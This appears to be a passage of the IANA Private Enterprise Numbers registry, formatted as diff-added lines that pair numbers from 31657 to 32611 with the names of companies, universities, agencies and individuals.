+31657 Infinitus d.o.o.
+31658 LightSoftware
+31659 TurnovFree.net, Sdružení
+31660 eSure Labs, Inc.
+31661 Logilab, SA
+31662 TIGNET Open Source Solutions
+31663 New York State Assembly
+31664 Bravo Tech, Inc.
+31665 StrongMail Systems Inc.
+31666 AirCanopy Internet
+31667 Ministerstwo Sprawiedliwosci
+31668 KRAFT Benjamin Jean
+31669 Tema Networks Ltd.
+31670 Jaworsito
+31671 Anunda Technology Co, Ltd.
+31672 XORTEC
+31673 Datacenter Luxembourg
+31674 Global Star Solutions ULC
+31675 coldspot.de
+31676 Mantara Inc
+31677 REMEC Broadband Wireless
+31678 Tenalt d.o.o.
+31679 droidnest.org
+31680 Altor Networks
+31681 South African Post Office
+31682 Audinate Pty Ltd
+31683 community engineering gmbh
+31684 EBM WEBSOURCING
+31685 IDG GmbH
+31686 Harry Jede
+31687 Lorica Solutions
+31688 rtfmcomputing.com
+31689 editspot, LLC
+31690 Sensorlogic, Inc
+31691 FIMMG - Federazione Italiana Medici di Medicina Generale
+31692 Close Premium Finance
+31693 MerlinTechs
+31694 Heilig Graf
+31695 BNYConvergex Execution Solutions LLC
+31696 Haberler Enterprises Ltd
+31697 Peer 1
+31698 Bluemoon Games
+31699 Gymnasium Querfurt Broadcasting Channel
+31700 Ice House Productions
+31701 Sonoa Systems
+31702 India Logics, LLC
+31703 Institut D'Aéronomie Spatiale de Belgique
+31704 ASPICON GmbH
+31705 lug.org.uk
+31706 Torrenga Engineering, Inc.
+31707 Tamil IPTV Inc
+31708 Meddiff Technologies Pvt. Ltd. (formerly 'MedSphere Technologies Pvt Ltd')
+31709 Sistema FIESC
+31710 Torrenga Surveying LLC
+31711 Mystiq Mobile Pte Ltd
+31712 gpf.me.uk
+31713 Khipu Networks Ltd.
+31714 national center for missing and exploited children
+31715 Portware, LLC
+31716 Wilder & Associates
+31717 Rogue Project Inc
+31718 Krausser EDV
+31719 Programmer.com.hk
+31720 Jan Dittberner IT-Consulting & -Solutions
+31721 ArgoSoft JSC
+31722 Spellman High Voltage Electronics Corporation
+31723 Communication Systems Company
+31724 Das Labor e.V.
+31725 E-Cert
+31726 Rancore Technologies (P) Ltd.,
+31727 U.S. Department of Energy
+31728 Monografias.com
+31729 art of defence GmbH
+31730 MiMOMax Wireless Limited
+31731 Sunwave Communications Co. Ltd.
+31732 DropFire, Inc.
+31733 KEPID AMSTECH Co., LTD.
+31734 Dayang Technology Development Inc.
+31735 ZAO NPK Microtec
+31736 Filipstads kommun
+31737 Digital Systems Ltd
+31738 S.C. LTHD Corporation S.R.L.
+31739 penagosg
+31740 University of Prince Edward Island
+31741 ProLogic, Inc.
+31742 Avenue A | Razorfish
+31743 eXerp ApS
+31744 ADESA, Inc.
+31745 Centro Federal de Educação Tecnológica de Pelotas
+31746 Gemalto
+31747 AAP Communications, LLC
+31748 JED Capital, LLC
+31749 Need To Know News, LLC
+31750 marcher.it
+31751 Burleson Technology Group, LLC.
+31752 Omniscient Technologies
+31753 ALCEST'IS
+31754 Triwest Healthcare Alliance
+31755 LINK Lab.Inc.
+31756 GXMU(Guangxi Medical University)
+31757 Internet Telephony Users Association Inc.
+31758 Infinova LLC
+31759 Stoo Networks
+31760 C-Matic Systems Ltd
+31761 RFI Engineering B.V.
+31762 Fujian Star-net Communication Co.,Ltd
+31763 Bitel Távközlés és Biztonságtechnika Kft
+31764 inmedias.it Gesellschaft für Informationstechnologie mbH
+31765 Advance Display Technologies, Inc.
+31766 ShowIT
+31767 Nootek
+31768 SHARP Electronics (Europe) GmbH
+31769 Kassenärztliche Vereinigung Bayerns
+31770 Bachmann GmbH
+31771 eGenix.com Software, Skills and Services GmbH
+31772 International Paper
+31773 GEWI Europe GmbH & Co. KG
+31774 RealTimeSites
+31775 Gellings CO
+31776 TheLogInn
+31777 DATAPREV - Previdencia Social
+31778 SMHS Ltd
+31779 Innocom-arcodan
+31780 Acipia
+31781 TG Mess-, Steuer- und Regeltechnik GmbH
+31782 SyferLock Technology Corporation
+31783 MetroSouth Medical Center
+31784 EndlerNET GmbH
+31785 Derouineau
+31786 Zdravstveni dom Ljubljana
+31787 Syren Technologies
+31788 QSG Verkehrstechnik GmbH
+31789 HD Software & Systeme GmbH
+31790 Compressus, Inc
+31791 County of Erie, New York
+31792 Adways Co., Ltd.
+31793 TEMIX S.p.A.
+31794 Infinovate, Inc.
+31795 Board of Regents of The University System of Georgia
+31796 IdentiPHI, Inc
+31797 Neetze Online
+31798 Rewse Lab.
+31799 TreStore GmbH
+31800 VividLogic Inc
+31801 Biap, Inc.
+31802 Aquasys
+31803 Secureware Inc
+31804 Office of State Revenue
+31805 IBA CZ, s.r.o.
+31806 VirtualTec Solutions AG
+31807 Universidad de Caldas
+31808 Togliatti State University
+31809 Josef Lux und Sohn Baumeister GmbH
+31810 Cinterion GmbH
+31811 IKOR Products GmbH
+31812 United Tote Co.
+31813 Dikmenoglu
+31814 Amway of Australia
+31815 BEAR Solutions (Australasia) Pty Ltd
+31816 PrintFleet Inc.
+31817 Connexis Kft.
+31818 Droitech eSolutions Private Limited
+31819 CHENGBO NETWORK TECHNOLOGY CO. ,LTD
+31820 Federal Prison Industries (UNICOR)
+31821 eonBIT as
+31822 X2B Security
+31823 Schweitzer Engineering Laboratories, Inc.
+31824 Solar Technology, Inc
+31825 HTW Dresden FB Informatik
+31826 Logic United GmbH
+31827 Sharedband Limited
+31828 Pegasus Telecom
+31829 MIPIH
+31830 deCODE genetics
+31831 Ad Hoc Network srl
+31832 Los Angeles Community College District
+31833 ACI Worldwide Inc
+31834 BecauseWeCan.at
+31835 John Berninger
+31836 DTS Systeme GmbH
+31837 Medinformatix Incorporated
+31838 ITech ROMANIA Ltd.
+31839 Gridiron Systems Inc.
+31840 ChoicePoint Asset Company LLC
+31841 University of Western Macedonia
+31842 e2E Services Limited
+31843 GUISYS CORPORATION
+31844 Satellite Systems Corporation
+31845 Dans Rock Electronics
+31846 Wimba
+31847 Bejing XCZY networks Inc.
+31848 Sherman Finanial Group LLC
+31849 Jacobsson Programutveckling
+31850 OTN Systems NV
+31851 WH-Netz - Verein fuer Netzwerksicherheit und Technologietransfer e.V.
+31852 Pirean Ltd.
+31853 LLC Mail.Ru
+31854 Stix AS
+31855 Plusnet plc
+31856 Wycliffe Bible Translators USA
+31857 Tirepiste
+31858 Intellimedia Systems Ltd
+31859 HFR,Inc
+31860 Science and Technology Facilities Council
+31861 embinet GmbH
+31862 Infinity Trust SRL
+31863 Australian Research Collaboration Service
+31864 kunden-server.org Network Services
+31865 Durchmesser
+31866 st. bernard software
+31867 Unassigned
+31868 The Village Group, Inc.
+31869 Empowering Media, Inc.
+31870 Minkamau
+31871 MO Technologies
+31872 Nanzan Gakuen
+31873 Elanti Systems Inc.
+31874 Alpha Networks Inc.
+31875 ShangHai XinLan Electronic Technology Co.,Ltd.
+31876 de Koomen
+31877 Karel Electronics
+31878 Chamaeleon AG
+31879 TelASIC Communications
+31880 Programma Verwijsindex
+31881 GGH Engineering s.r.l.
+31882 Metrotek
+31883 Openstat (formerly 'Vega')
+31884 Kuipers Electronic Engineering
+31885 ProDaM
+31886 Syntactic Sugar s. r. o.
+31887 Schering-Plough Corporation
+31888 AdminDB.org
+31889 Apantac LLC
+31890 Chicken and Porn
+31891 Universidade do Estado do Rio de Janeiro
+31892 T3G Technology Co.,Ltd
+31893 NelNet
+31894 RPBUS LLC
+31895 Chita Medias Network INC.
+31896 Doxense SARL
+31897 Knowledge Powered Solutions
+31898 bit4id
+31899 CS Group - Puerto Rico
+31900 Tarleton State University
+31901 Backstop Solutions Group
+31902 Ann Arbor Public Schools
+31903 Global Information Technology, Inc
+31904 Mandli Communications, Inc.
+31905 Springdale School District
+31906 NMI InfoSecurity Solutions
+31907 Dimenzio Informatika Ltd.
+31908 Orange Jordan
+31909 Textiel Verhaeghe BVBA
+31910 Haley Limited
+31911 Mine Site Technologies Pty Ltd
+31912 Gyventoju registro tarnyba prie Lietuvos Respublikos Vidaus reikalu ministerijos
+31913 Smith Micro Software, Inc.
+31914 AFCC Inc.
+31915 Nstrument, Inc
+31916 Exatrol Corporation
+31917 Tian Di Ying Cai(SinoProfessional) Ltd.
+31918 JSC „Izhevskiy Radiozavod“
+31919 Emerion.com
+31920 PHARMDATA,s.r.o.
+31921 STS GROUP SA
+31922 Keeneo SAS
+31923 Frontier Electronic Systems Corp.
+31924 DmitryKulgavy
+31925 Miyowa
+31926 Siklu Communication LTD
+31927 SQdata
+31928 Q-Industries, Inc.
+31929 AKUA Corp
+31930 Wiinz Ltd
+31931 CLERTECH.COM,INC
+31932 4IPNET, INC.
+31933 Powerbox Australia
+31934 Getronics Pinkroccade Healthcare BV
+31935 Younou, Inc.
+31936 Inventum Technologies Private Limited
+31937 NAW Enterprises Inc
+31938 anderScore GmbH
+31939 rkirkpat.net
+31940 TV1.DE
+31941 EcoliHub
+31942 AKRUPP Networking
+31943 Clemens Fink
+31944 ish group pty ltd
+31945 Advanced Powers Merchant Empires
+31946 Elenos Srl
+31947 Yomu Project
+31948 RC Alltech Power Systems Pvt Ltd
+31949 Spikelops
+31950 Nextivity, Inc.
+31951 Organizacion de Servicios Directos Empresarios
+31952 Miroslaw Lach
+31953 Markus Falb
+31954 E-smile Co., Ltd.
+31955 Prolar Corporation
+31956 GuangZhou E-Standard Software Technology Co.,Ltd.
+31957 TSDA - Tecnologia e Soluções Digitais Aplicadas LTDA
+31958 INDUSTRONIC Industrie-Electronic GmbH & Co. KG
+31959 EDV-Beratung Robert Velter
+31960 Altech ISIS
+31961 PubliTronic bv
+31962 Flybe
+31963 BEJING Tongtian Century Technology CO.LTD
+31964 chengdu goldtel communication (group) co.,ltd
+31965 PGE Gornictwo i Energetyka S.A.
+31966 Lampe-Batkin Associates, Inc.
+31967 Thomas Production Company, L.L.C.
+31968 Datum Systems, Inc.
+31969 Gradwell dot com Ltd
+31970 Siegel Daten- und Anwendungsservice
+31971 MQuest S.A.
+31972 Gruppo Software Oy
+31973 thejof.com
+31974 Cavazza Anna Sas
+31975 Cable Vision Electronics Co., Ltd.
+31976 INTEG Process Group, Inc.
+31977 Saia-Burgess Controls AG
+31978 Forticom
+31979 AltimatOS
+31980 Melog.com
+31981 Hongdian Technologies
+31982 ORNL Federal Credit Union
+31983 FOUGEROLLE
+31984 Ericsson Australia Pty. Ltd.
+31985 Syphan Technologies
+31986 GOL MOBILE PRODUTOS E SERVIÇOS DE TECNOLOGIA DA INFORMAÇÃO LTDA.
+31987 Splatterladder
+31988 duagon Germany GmbH (formerly MEN Mikro Elektronik GmbH, Nuremberg)
+31989 EverMAX s.r.o.
+31990 Continental AG
+31991 TOSCO CORPORATION
+31992 Oceana Sensor Module
+31993 Parinya Software
+31994 NxGen Communications Pte Ltd
+31995 National Bank of Poland
+31996 Brian Thomas Matthews Limited
+31997 Cellusys
+31998 NOVA KREDITNA BANKA MARIBOR d.d.
+31999 Adcon Telemetry GmbH
+32000 Ekstrem Bir Bilgisayar
+32001 Convercom AG
+32002 Ba-Bi Mobile Media Co. Ltd.
+32003 herbstwest.de
+32004 On-Waves ehf
+32005 Obra Social de Empleados Publicos de Mendoza (OSEP)
+32006 Fashion Institute of Technology of the State University of New York
+32007 Innovative Labs
+32008 Digital Rapids Corp
+32009 OuterNet
+32010 Pixelworks
+32011 Kabel Deutschland GmbH
+32012 Penango, Inc.
+32013 Intranet Solution
+32014 ESAC
+32015 ExtraHop Networks, Inc.
+32016 Latvia University of Agriculture
+32017 LinQuest Corporation
+32018 Law Offices Of Roger E. Naghash
+32019 Intellon Corporation
+32020 doudemoii
+32021 Positron Inc.
+32022 Pegatron Computer Inc.
+32023 American Clean Air, Inc. (formerly 'XeNSiiS')
+32024 Applied Polymorphism
+32025 Primal Research
+32026 Sigma ITS Co., Ltd.
+32027 Edvina AB
+32028 Tray International Services and Administration (Pty) Ltd
+32029 The Rafferty Patent Law Firm, PC
+32030 Commodity Systems
+32031 XITIJ INDIA
+32032 DWI Technologies
+32033 Apfelwald
+32034 Finnsat Ltd.
+32035 ISEN Consulting and Services
+32036 Borders Group Inc.
+32037 Commerce Lab
+32038 TELZAS
+32039 Total Computer Kft.
+32040 Tecno&Logic Consulting
+32041 Association Paris-Montagne
+32042 Virginia Community College System
+32043 Hacklab Toronto Club Inc.
+32044 IVOCS
+32045 Avanquest Software
+32046 NetMatch
+32047 IDRIX
+32048 x9000.com Consulting Services Limited
+32049 FacilityONE
+32050 PacketFlux Technologies, Inc.
+32051 SAMsystems GmbH
+32052 Toronto Hydro Corporation
+32053 3Y Power Technology, Inc.
+32054 IPSL (formerly 'IPSL/CETP')
+32055 Service to Youth Council Inc
+32056 Vietnam Datacommunication Company (VDC)
+32057 Mercury Brain Systems
+32058 Vietnam Posts and Telecommunications Group (VNPT)
+32059 Axis Network Technology Limited
+32060 Babelway
+32061 VAS Latvijas Valsts radio un televizijas centrs
+32062 Endersys
+32063 The eID Company
+32064 state51
+32065 jonEbird
+32066 EAFB - Escola Agrotécnica Federal de Barbacena-MG
+32067 IPaXiom Networks
+32068 Scherndl
+32069 University of Laverne
+32070 Laser Interferometer Gravitational-Wave Observatory (LIGO)
+32071 Vialtus Solutions
+32072 SEKIZAWA Corp. Inc.
+32073 MesaVida Information Management
+32074 Prorail BV
+32075 XS Networks BV
+32076 Connectical IT
+32077 Sumlock Electronics (NE) Ltd
+32078 Zentrum Servicios SA de CV
+32079 ESTeem Wireless Modems Inc.
+32080 Baseline Communications
+32081 Cytec Industries Inc.
+32082 Unassigned
+32083 HealthBlocks, Inc.
+32084 DeltaNode Ltd.
+32085 E.ON Business Services GmbH
+32086 Fiberblaze
+32087 x:fer GmbH
+32088 College of Micronesia-FSM
+32089 IMS Messsysteme GmbH
+32090 Waumovil
+32091 AES Corporation
+32092 pragma people
+32093 Engineering Systems Incorporated
+32094 Vantage Tech Solutions
+32095 Hosei University Research Institute, California
+32096 APD Technologies Inc.
+32097 Reorder
+32098 Baseline IT
+32099 Midnight Oil Consulting, INC.
+32100 Oversi Networks
+32101 Telinea d.o.o.
+32102 Tiaxa
+32103 New York Connect
+32104 InCharge Systems, Inc
+32105 Chief Security Officers, SA
+32106 HaDiKo e.V.
+32107 SOH Systems
+32108 PLANAR LLC
+32109 ADC Co.,LLC
+32110 IPVox Sdn Bhd
+32111 Digital Solutions Ltd.
+32112 CENARIO systems GmbH (formerly 'VCS Computer-Systeme GmbH')
+32113 Vocord
+32114 ORELIA SAS
+32115 Zweites Deutsches Fernsehen Anstalt des oeffentlichen Rechts
+32116 ACTIV Financial Systems, Inc.
+32117 Unassigned
+32118 iWave Software
+32119 tera.sys hardware inc.
+32120 Focon Electronic Systems A/S
+32121 Armstrong Relocation
+32122 Netafim Australia
+32123 Sidlinger Computer Corporation
+32124 Stadtverwaltung Ludwigshafen
+32125 Small Media Giant Ltd
+32126 Lietuvos archyvu departamentas prie Lietuvos Respublikos Vyriausybes
+32127 Darkware Co.
+32128 Octotelematics S.r.l.
+32129 Innovation Center Computer Assisted Surgery (ICCAS)
+32130 Data Elements for Emergency Department Systems (DEEDS)
+32131 ESPN, Inc.
+32132 UltraMonkey-L7 Project
+32133 nativenet.ch
+32134 Zestysoft
+32135 WWK Lebensversicherung a.G.
+32136 Hackburg
+32137 TECNOSTEEL
+32138 Universidade Federal de Itajubá
+32139 Applitron Datasystem AB
+32140 Chalmers University of Technology AB
+32141 University of Maryland Center for Environmental Science
+32142 Solid Solutions
+32143 Finsignia LLC
+32144 TransHuman Design
+32145 Allergan, Inc.
+32146 Validian Corporation
+32147 Rob Johnson
+32148 Individuali veikla
+32149 UXCG
+32150 Zetron, Inc.
+32151 NerdGroup
+32152 Rearden Labs
+32153 damosys ltd.
+32154 iXuros Limited
+32155 Humana, Inc.
+32156 TechCare
+32157 IntelMS (Pty) Ltd.
+32158 Alcom
+32159 Ancla Internet, S.L.
+32160 Power Innovation Stromversorgungstechnik GmbH
+32161 Trilogy Communications Ltd
+32162 Eutecert
+32163 Umber Systems
+32164 JWARE TECHNOLOGIES
+32165 WestGrid
+32166 Computacenter
+32167 REDCOM Laboratories, Inc
+32168 Fiber-Span
+32169 Turkcell Teknoloji Arastirma ve Gelistirme A.S.
+32170 MAYA Group
+32171 SeaMicro Inc
+32172 Prefeitura Municipal de Franco da Rocha
+32173 Royal Observatory Edinburgh
+32174 Universidade Estadual do Oeste do Paraná
+32175 Thieme ICT Services B.V
+32176 GlobalTelecom
+32177 Barossafarm
+32178 ecotel communication ag
+32179 SANDS INDIA Pvt Ltd
+32180 Moscow Branch of Federal Migration Service, Russia
+32181 Amuser SpA
+32182 cubro
+32183 Answers.com
+32184 Instantiations Inc
+32185 Environmental Technology, Inc.
+32186 Prolexic Technologies
+32187 Founder International Inc.
+32188 SkyCash Sp. z o.o.
+32189 Richards-Zeta Building Intelligence
+32190 REDOUBT, Inc.
+32191 Emergensys solutions inc.
+32192 Vanguard Rugged Storage LLC
+32193 I-New Unified Mobile Solutions AG
+32194 InDorse Technologies
+32195 CommTel Network Solutions Pty Ltd.
+32196 EBFS AG
+32197 Bunkspeed, Inc
+32198 Esang Technologies Co., Ltd.
+32199 Louisiana Immersive Technologies Enterprise
+32200 Seven Networks, Inc.
+32201 Sonitor Technologies AS
+32202 Saima Sistemas, S.L.
+32203 Pixeon
+32204 Mykola Grechukh
+32205 Twistround Ltd
+32206 Oksijun
+32207 U.S. Department of Transportation
+32208 www.jointhegrid.com
+32209 Escuela Bancaria y Comercia
+32210 eAgency, Inc.
+32211 Positech Consulting Ltd
+32212 Armstrong International, Inc.
+32213 Luke Rules
+32214 GRETA de Bordeaux
+32215 John Anson Co. LLC
+32216 SIOS Technology, Inc.
+32217 BÖWE Systec GmbH
+32218 tedman.com
+32219 NBS srl
+32220 Esperion Therapeutics, Inc.
+32221 Intera Group, Inc.
+32222 TCM Networks
+32223 Shanghai Kyattinfo Inc.
+32224 Epivalley Co., Ltd.
+32225 PCCW Mobile
+32226 Ingenieurbuero für innovative Informationstechnik
+32227 ArtSoft Consult
+32228 MERAWEX Sp. z o. o.
+32229 Nokia (formerly 'Novarra, Inc.')
+32230 Aeris Communications, Inc.
+32231 hbcms
+32232 Landratsamt Muenchen
+32233 Vionis d.o.o.
+32234 KMUX Project
+32235 ProAce International Trading Ltd.
+32236 DATASPHERE S.A.
+32237 Atea Systems Ltd.
+32238 Venture Research Inc.
+32239 Emnico Technologies Ltd
+32240 Clipsal China Ltd.
+32241 Vederie
+32242 Comic Relief
+32243 FAUSER AG
+32244 CASO - Consultores Associados de Organizações e Informática
+32245 PingUs Solutions oHG
+32246 IBS.Datafort
+32247 NewNet Communication Technologies, LLC
+32248 Wanzl Metallwarenfabrik GmbH
+32249 National Food Technology Research Centre
+32250 San Francisco International Airport, Information Technology & Telecommunications
+32251 ETRI SRC
+32252 Pavol Jozef Šafárik University in Košice
+32253 DANU Technologies
+32254 Hoare Lea LLP
+32255 J. Christof GmbH
+32256 Sonlinc A/S
+32257 RealTime Intelligence
+32258 WYDE Voice, LLC
+32259 Meyer Tool, Inc.
+32260 PacketDNA Inc.
+32261 Varolii
+32262 Cyber Operations, Inc.
+32263 Plus Net Solutions
+32264 National Institute of Informatics
+32265 Johnny Software Studio
+32266 Power PLUS Communications AG
+32267 IST Austria
+32268 Hobby Lobby Stores, Inc.
+32269 Novantiqua multimedia
+32270 Elseta
+32271 Zaxmy
+32272 Sebastien Aperghis-Tramoni
+32273 netzwerkplanet.
+32274 Sheffield Teaching Hospitals Foundation Trust
+32275 Interscan Navigation Systems
+32276 SiChuan Public Information Industry Co.Ltd (SCPI)
+32277 ZTI
+32278 RT Systems (Pty) Ltd
+32279 Ryan J Thompson
+32280 Johnston Press Plc
+32281 Videoplaza
+32282 DaimonLab
+32283 TBits.net GmbH
+32284 erefer
+32285 Sumavision Technologies Co.,Ltd
+32286 ACD Elektronik GmbH
+32287 Sattvik Software & Technology Resources, Ltd. Co.
+32288 eg-electronic GmbH
+32289 CellSpotting.com
+32290 Records For Living, Inc.
+32291 lingzhou NetWork
+32292 Florida Department of Children and Families
+32293 netfutura GmbH & Co. KG
+32294 Lewis Silkin
+32295 cPanel Inc
+32296 Beach Horizon LLP
+32297 s2company s.r.l.
+32298 Communication Networks, LLC
+32299 Coatesoft
+32300 Alcorn McBride Inc.
+32301 Siemens IT Solutions and Services
+32302 Insert Data Here
+32303 Anchor Systems Pty Ltd
+32304 Lojas Maia LTDA.
+32305 KAMP Netzwerkdienste GmbH
+32306 Soolbox Association
+32307 Embedded Systems
+32308 NLI Business Support as
+32309 Chittagong Online Limited
+32310 Edge Technologies
+32311 CPI Progetti S.p.a.
+32312 International Hellenic Univeristy
+32313 Red Lambda, Inc.
+32314 sp-its
+32315 Virtual Management Technologies
+32316 From2
+32317 The National Library of Norway
+32318 Tom Geudens Private Enterprise Limited
+32319 Fernau Avionics Ltd
+32320 Supermarchés Match
+32321 eSystems, Inc.
+32322 Conseils Oy SimplySecure
+32323 Filb.de
+32324 Certus Digital, Inc.
+32325 BadgerNet.net
+32326 NewAge Ukraine Inc.
+32327 RF Industries
+32328 legendsec Technology Co.Ltd
+32329 Shenzhen Guanri Technology Co., Ltd.
+32330 Olitechs
+32331 Nimbus Data Systems, Inc.
+32332 Siscard S.A.
+32333 IRRINGER.DE
+32334 CGNet
+32335 Nippon Control System Corporation (NCS)
+32336 Micro Ocean Technologies Sdn Bhd
+32337 ISRACARD LDT
+32338 United Biscuits
+32339 Schweitzer GmbH - Architektur & Generalplanung
+32340 DCTI
+32341 Gangola Designs
+32342 XORP, Inc.
+32343 Shop Direct Home Shopping Limited
+32344 advanscope Inc.
+32345 RF Monolithics, Inc.
+32346 Digi Telecommunications Sdn Bhd
+32347 SiteScanner Europe AB
+32348 Cross Country Systems
+32349 iRedMail
+32350 Bedework.org
+32351 Genscape, Inc
+32352 Rindels Information Management Systems (RIMS)
+32353 Baidu
+32354 vertico Software GmbH
+32355 KOCAK Corp
+32356 Syslogic Ltd.
+32357 Solo Networks Inc.
+32358 Epiphan Systems Inc.
+32359 UNIVERSITY OF UDINE
+32360 Dneprooblenergo
+32361 CAIR
+32362 IDT SPC
+32363 Engineering & Software GmbH
+32364 Universidade Federal do Estado do Rio de Janeiro UNIRIO
+32365 Mino Wireless USA Inc
+32366 Pragmatic Data
+32367 Communication Automation Corporation
+32368 Faculty of Information Technology - Nguyen Tat Thanh College
+32369 Uptime-IT
+32370 University of Zielona Gora
+32371 Complex IT Solutions
+32372 Web Sages
+32373 paternostro.org
+32374 RidgeviewTel LLC
+32375 Secorix, Inc.
+32376 RAM Mobile Data
+32377 archIT
+32378 TB Solutions Security S.A.
+32379 Lake Michigan Credit Union
+32380 Instituto Curitiba de Informática
+32381 Milwaukee County Government
+32382 Mixtur Interactive, Inc.
+32383 Iojik Inc.
+32384 Henchmonkey
+32385 Beijing Bohui Science & Technology Co., Ltd
+32386 Proxicast, LLC
+32387 Etisalat
+32388 The NetBSD Foundation
+32389 MILLENNIUM ARTS Group
+32390 ID7 Ltd.
+32391 Systemhuset Episteme AS
+32392 Secure-MSP GmbH
+32393 Onesto Services Oy
+32394 Solutions and Services, a.s.
+32395 SalamanderSoft Ltd
+32396 Ohio University
+32397 iRobot Corporation
+32398 Eaton Vance Management
+32399 Nederland Live
+32400 WaveMaker Software, Inc.
+32401 AMP Financial Services New Zealand
+32402 Greenson Pty Ltd
+32403 China fuzhou evideo
+32404 NetHawk Oyj
+32405 Selectron Systems AG
+32406 Koncept Sp. z o.o.
+32407 GeCOSoft Consulting GmbH
+32408 Daniel Andrade Costa Silva
+32409 Voxel dot Net, Inc.
+32410 RF Code Inc
+32411 Swedish Orient Line
+32412 Minot Enterprises, Inc.
+32413 ECbridges, Inc.
+32414 Veracity UK
+32415 Comax BV.
+32416 DOCOUT S.L.
+32417 Kinamik Data Integrity S.L.
+32418 Marne & Elk Horn Telephone Co
+32419 Institut Straumann AG
+32420 Payment Processing, Inc.
+32421 Bertholdsson
+32422 Universidade Federal de Viçosa
+32423 Rogaland fylkeskommune (County of Rogaland)
+32424 Harry Jackson - Boozled
+32425 CRW Data AB
+32426 Institute for Studies in Theoretical Physics and Mathematics (IPM)
+32427 Bornis Group
+32428 Sepehr S. T. Co. Ltd.
+32429 University of Isfahan
+32430 NADAM CO.,LTD
+32431 Yukthi Systems Pvt. Ltd
+32432 LDAP Study Union
+32433 NetCeler
+32434 Telenor Telecom Solutions AS
+32435 TamoSoft Ltd.
+32436 Intersec
+32437 Obsidian Research
+32438 PROMONT Soluções Ltda.
+32439 ShangHai YoSee Ltd.
+32440 kinopsis.net
+32441 Netwell Ltd.
+32442 MPS.ETI.BR
+32443 Internet Research Institute, Inc.
+32444 Fibercom Technologies (ShenZhen) CO.,LTD
+32445 Lamoree Software
+32446 Paessler AG
+32447 CASERIS GmbH
+32448 Addition IT Sweden AB
+32449 Cuatrecasas Abogados
+32450 MICRON ENGINEERING DI MANCA MASSIMO
+32451 B-Source SA
+32452 Damaya UK
+32453 Terrapin Associates
+32454 Atrato, Inc.
+32455 E-Tag, Inc
+32456 Freebox SAS
+32457 Iptec, Inc.
+32458 Colorado Clinical Research ECG Core Lab
+32459 HappyEnd
+32460 The Digital Freehold
+32461 Brinker Pharmaconsulting
+32462 VIP Systems Co., Ltd.
+32463 Coalese Corporation
+32464 IDH GmbH
+32465 All Options International B.V.
+32466 guifi.net
+32467 SysDesign
+32468 Teamnett AS
+32469 Network Design GmbH
+32470 Forschungszentrum Jülich
+32471 Daitec GmbH
+32472 Tikona Digital Networks
+32473 Example Enterprise Number for Documentation Use
+32474 Kialco Group
+32475 Ambit Communicate
+32476 Bell's Booking Agency
+32477 ISAccountable
+32478 RF Window Co., Ltd.
+32479 AppEx Networks
+32480 Ollix
+32481 Unitronics
+32482 Qnective AG (formerly 'Qporter Schweitz AG')
+32483 Octrooicentrum Nederland
+32484 Escatronic GmbH
+32485 Live Interactive S.A.
+32486 DCK Worldwide
+32487 League of American Orchestras
+32488 The College of New Jersey
+32489 Alan Savage
+32490 Pringo
+32491 Beijing UniTrust Tech. Service Co.,Ltd.
+32492 maas-martin.nl
+32493 CPS Color Equipment S.p.A.
+32494 Kwasniak
+32495 Screwfix Ltd
+32496 MindLogix
+32497 Centex Service Co. LLC.
+32498 Clockwork Active Media Systems, LLC
+32499 TecCon, inc.
+32500 Virtual Computer, Inc.
+32501 Telemisis Ltd
+32502 Pancetera Software, Inc.
+32503 Purewire Inc.
+32504 Washington Division of URS Corporation
+32505 Aptix IT SRL
+32506 KOR Networks
+32507 First Community Services, Inc
+32508 Siemon
+32509 luminis
+32510 Watchdata
+32511 Fountainhead Investments Ltd.
+32512 Zen Soluciones
+32513 Buerologistik GmbH & Co. KG
+32514 JSC Effortel
+32515 Rebtel Networks AB
+32516 Gisdata
+32517 Accsys GmbH
+32518 VirtuOz
+32519 Wireless Mundi S.L.
+32520 Anglo European Aviation AG
+32521 kontur networx
+32522 Creare Inc.
+32523 ACN - Agència Catalana de Notícies
+32524 Zaxia
+32525 Gold Lasso, Inc.
+32526 Object Partners Inc.
+32527 Yugma Inc.
+32528 Acquia, Inc
+32529 Warped Communications, Inc.
+32530 uid0 Networks
+32531 Nokeena Networks Inc.
+32532 Regis Corporation
+32533 Xue Can
+32534 MB Connect Line GmbH
+32535 ZT Systems
+32536 Ergobyte Informatics
+32537 voidmage.net
+32538 NetCare Service Co., Ltd.
+32539 Cinnober Financial Technology AB
+32540 Manlight
+32541 Alsion
+32542 SGIT (formerly 'Banco Credicoop')
+32543 Raidbr Solucoes em Informatica LTDA
+32544 Kentucky Department of Education
+32545 Army & Air Force Exchange Service
+32546 Valcom Inc.
+32547 SenSage, Inc
+32548 University of North Carolina - General Administration
+32549 Govierno de la Provincia de Corrientes
+32550 COVETEL R.S:
+32551 Valunex
+32552 FreeIT
+32553 Hopewiser Ltd
+32554 Vincent Wang
+32555 RND.fr
+32556 Bruno Medici Consulting
+32557 Hungarian Chamber of Civil Law Notaries (MOKK)
+32558 Kleinhenz Elektronik GmbH
+32559 Paradigma Tecnologico S.L.
+32560 Tsubata Engineering Co., Ltd.
+32561 E.D.S.I. Trend Argentina S.A.
+32562 Ambrado Inc.
+32563 DRK gemeinnützige Krankenhaus GmbH Sachsen
+32564 Asidev s.r.l.
+32565 Neissware GmbH
+32566 I2C, Industrie Innovation Conseil
+32567 Alastria Networks Limited
+32568 Integral
+32569 Gayux
+32570 Hillyton Electronic Technology Co., Ltd.
+32571 Peering Portal, Inc.
+32572 Ciavox
+32573 ONI-Net C&S
+32574 DSIT - ReimsMetropole
+32575 Daniel Palffy
+32576 Aydayev's Investment Business Group
+32577 Proximetry, Inc.
+32578 GeekDude.com
+32579 Gianluca D'Andrea
+32580 HDT Hanseatische Datentechnik GmbH
+32581 REMOTEK CORPORATION
+32582 N2 Networks
+32583 Litespan Inc.
+32584 DesignArt Networks
+32585 VIGITRONIC
+32586 Instituto Venezolano de Investigaciones Cientificas
+32587 WiKID Systems, Inc.
+32588 MVLogix
+32589 Effinger
+32590 Axiom Networking
+32591 Deltares
+32592 Pintu
+32593 Crystal Media Inc.
+32594 Invensys Robertshaw Industrial Products
+32595 Nextgen Networks
+32596 PLATH PROCITEC Suisse AG
+32597 Double Negative
+32598 Providence Life Services
+32599 SUPEMIR
+32600 ClearCrypt Inc.
+32601 GenCore Candeo, Ltd.
+32602 Faculdade SEAMA
+32603 DVS Solutions
+32604 FRC Component Products
+32605 Structual Biology Research Center,High Energy Accelerator Research Organization,KEK
+32606 Crystaline Infotech
+32607 Goldan
+32608 Federal Home Loan Bank
+32609 Development Consultants Incorporated
+32610 Jilin University Information Technologies Co., Ltd.
+32611 IMage Manipulation Systems Inc
